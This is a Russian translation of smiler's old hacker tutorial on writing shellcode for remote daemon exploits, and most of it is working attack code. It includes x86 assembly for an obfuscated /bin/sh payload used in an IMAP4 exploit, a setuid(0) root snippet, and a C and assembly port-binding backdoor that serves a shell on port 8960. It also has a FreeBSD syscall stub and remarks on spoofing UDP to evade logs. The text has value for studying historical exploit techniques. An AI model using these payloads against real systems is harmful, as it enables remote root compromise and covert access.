| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
The Art of Writing Shellcode, by smiler.
----------------------------------------
Искусство написания Шеллкодов
автор: smiler
----------------------------------------
Надеюсь, что ты знаком с основными шелл-spawning шеллкодами. Если нет, то прочитай текст
Aleph'a "Smashing The Stack For Fun And Profit" перед дальнейшим прочтением. Данная статья
основывается на типах шеллкодов, которые используются для демонов на удаленных машинах.
Конечно, достаточно сложно писать сплойт для удаленных демонов, потому что у тебя не так
много путей для исследования конфигурации сервера. Часто шеллкод является очень сложным,
но данная статья поможет понять его.
Я начну с древнего эксплойта для IMAP4. Это достаточно неплохой для демонстрации сплойт.
Все, что вам надо, это "спрятать" строку "/bin/sh" в шеллкоде (т.к. imapd переводит все
символы в верхний регистр).
Это более-менее нормальный шеллкод, исключая цикла, где добавляется 0х20 к каждому байту
строки "/bin/sh". Я написал достаточно комментариев, что бы начинающие смогли понять код.
Виртуозы ассемблера, простите меня за мой код =]
-----imap.S-------
.globl main
main:
jmp call
start:
popl %ebx /* получаем адрес для /bin/sh */
movl %ebx,%ecx /* пишем адрес в ecx */
addb $0x6,%cl /* ecx теперь метка для следующих символов */
loop:
cmpl %ebx,%ecx
jl skip /* если (ecx<ebx) то перемещаемся на skip */
addb $0x20,(%ecx) /* добавляем 0x20 к байтам метки в %ecx */
decb %cl /* перемещаем метку ниже */
jmp loop
skip:
/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string "\x0f\x42\x49\x4e\x0f\x53\x48"
--------------
Это показательная вариация основного шеллкода и может быть использована для маскировки символов,
которые не разрешены протоколом демона для использования. Но когда пишем удаленный, как и
локальный, эксплоит, он должен быть максимально компактным. Используем средства написания
шеллкода, привлекающего основные системные вызовы.
Основные системные вызовы:
setuid(): Для достижения привилегий root (пр. wu-ftpd)
mkdir()/chdir()/chroot(): Для отмены возврата в корневую директорию (пр. wu-ftpd)
dup2(): Для соединения по протоколу TCP с сокетом (пр. BIND&rpc.mountd tcp-style)
open()/write(): Для записи в /etc/passwd (пр. да почти все!)
socket(): Для открытия сокета шеллкода.
Номера актуальных системных вызовов можно найти в <asm/unistd.h>
Большинство системных вызовов в linux x86 одинаковы. Номер вызова кладем в регистр %eax,
а аргументы кладем в %ebx, %ecx и %edx соответственно. В некоторых случаях, когда
аргументов больше, чем размер регистров, они могут быть записаны в используемую память,
запомнены адреса этих аргументов в регистре. Или, если аргументы являются строкой, вы
можете запомнить строку в памяти и заюзать адрес строки как аргумент. Перед этим надо
вызвать "int $0x80"
Далее пример - небольшой шеллкод из моего эксплоита для wu-ftpd, который вызывает setuid(0).
Примечание: регистры должны быть "обнулены" перед использованием кода.
---setuid.S----
.globl main
main:
xorl %ebx,%ebx /* ноль в %ebx регистре, это 1 аргумент */
movl %ebx,%eax /* ноль выходит из %eax регистра */
movb $0x17,%al /* задаем номер системного вызова */
int $0x80 /* вызываем прерывание */
---------------
Порт-binding шеллкод.
Когда вы используете эксплоит для удаленного демона с основным шеллкодом, он должен создать
соединение TCP, для ввода\вывода\др. обычного шелла. Это обычное свойство для всех удаленных
сплойтов и достаточно сложно осуществить.
Однако это возможно (может быть найдена новая уязвимость), если демон разрешает сервис UDP
(SNMP как пример). И, возможно, для доступа к демону приходится изпользовать только UDP,
если, например, TCP порт закрыт файрволлом. Данная linux'овая уязвимость использует
UDP - BIND, т.к. все rpc сервисы используют и UDP, и TCP. Так же, если вы шлете udp-пакет,
вполне реально "заспуфить" пакет, после чего он не засветится в любых логах =)
Для эксплойта для демона, через UDP, вы должны написать шеллкод, который модифицирует файл
с паролями или выполнит другие действия, но интерактивные шеллы являются более элитными =]
Вряд ли вы сможете вставить UDP в шеллкод, вам потребуется TCP. Моя идея - написать
шеллкод, который откроет бэкдор на определенный порт и повесит на него шелл.
Я знаю, что я не первый, кто пишет такой тип шеллкодов, но я не видел официально
опубликованных шеллкодов такого типа.
Основная бинд-шелл программа представлена ниже:
int main()
{
char *name[2];
int fd,fd2,fromlen;
struct sockaddr_in serv;
fd=socket(AF_INET,SOCK_STREAM,0);
serv.sin_addr.s_addr=0;
serv.sin_port=1234;
serv.sin_family=AF_INET;
bind(fd,(struct sockaddr *)&serv,16);
listen(fd,1);
fromlen=16; /*(sizeof(struct sockaddr)*/
fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
/* "connect" fd2 to stdin,stdout,stderr */
dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
Конечно, это потребует больше места, чем шеллкод, однако можно вместить все это в 200 байт,
и буфер намного больше, чем программа.
Ниже представлены системные вызовы Линукс для сокетов. Каждый вызов сокета имеет номер
системного вызова, 0х66. Все можно найти в . Далее:
SYS_SOCKET 1
SYS_BIND 2
SYS_LISTEN 4
SYS_ACCEPT 5
Конечно, мы должны знать значения констант, и точную структуру sockaddr_in. Ищите их в
инклюдных файлах linux.
AF_INET == 2
SOCK_STREAM == 1
struct sockaddr_in {
short int sin_family; /* 2 byte word, containing AF_INET */
unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */
struct in_addr sin_addr /* 4 byte long, should be zeroed */
unsigned char pad[8]; /* should be zero, but doesn't really matter */
};
Так как здесь только два регистра, аргументы должны быть последовательно положены в память,
и %ecx должен содержать адрес первого. Следовательно, мы положим аргументы в конце шеллкода.
Первые 12 байт включают 3 аргумента (long), следующие 16 содержат структуру sockaddr_in, а
последние 4 - вызов accept(). Впоследствии, результат вызова кладется в %eax.
Итак, без различных фич, ниже код...
----portshell.S----
.globl main
main:
/* I had to put in a "bounce" in the middle of the code as the shellcode
* was too big. If I had made it jmp the entire shellcode, the instruction
* would have contained a null byte, so if anyone has a shorter version,
* please send me it.
*/
jmp bounce
start:
popl %esi
/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi) /* 3rd arg == 0 */
movl %eax,0xc(%esi) /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi) /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx /* socket() subcode == 1 */
movl %eax,0x4(%esi) /* 2nd arg == 1 */
incb %al
movl %eax,(%esi) /* 1st arg == 2 */
movw %eax,0xc(%esi) /* sock.sin_family == 2 */
leal (%esi),%ecx /* load the address of the arguments into %ecx */
movb $0x66,%al /* set socket syscall number */
int $0x80
/* bind(fd,&sock,0x10) */
incb %bl /* bind() subcode == 2 */
movb %al,(%esi) /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */
movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi) /* set sin.port */
movb $0x66,%al /* no need to set %ecx, it is already set */
int $0x80
/* listen(fd,2) */
movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */
incb %bl /* no need to set 1st arg, it is the same as bind() */
incb %bl /* listen() subcode == 4 */
movb $0x66,%al /* again, %ecx is already set */
int $0x80
/* fd2=accept(fd,&sock,&fromlen) */
incb %bl /* accept() subcode == 5 */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes */
movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80
/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:
/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl /* move fd2 to 1st arg */
xorl %ecx,%ecx /* 2nd arg is 0 */
movb $0x3f,%al /* set dup2() syscall number */
int $0x80
incb %cl /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80
/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------
После отработки эксплойта, вы должны приконнектится к порту 8960, и вы получите шелл.
----------------[ FreeBSD shellcode
Это для FreeBSD x86.
----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi
xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi) /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */
call:
call start
syscall:
.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall
|
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |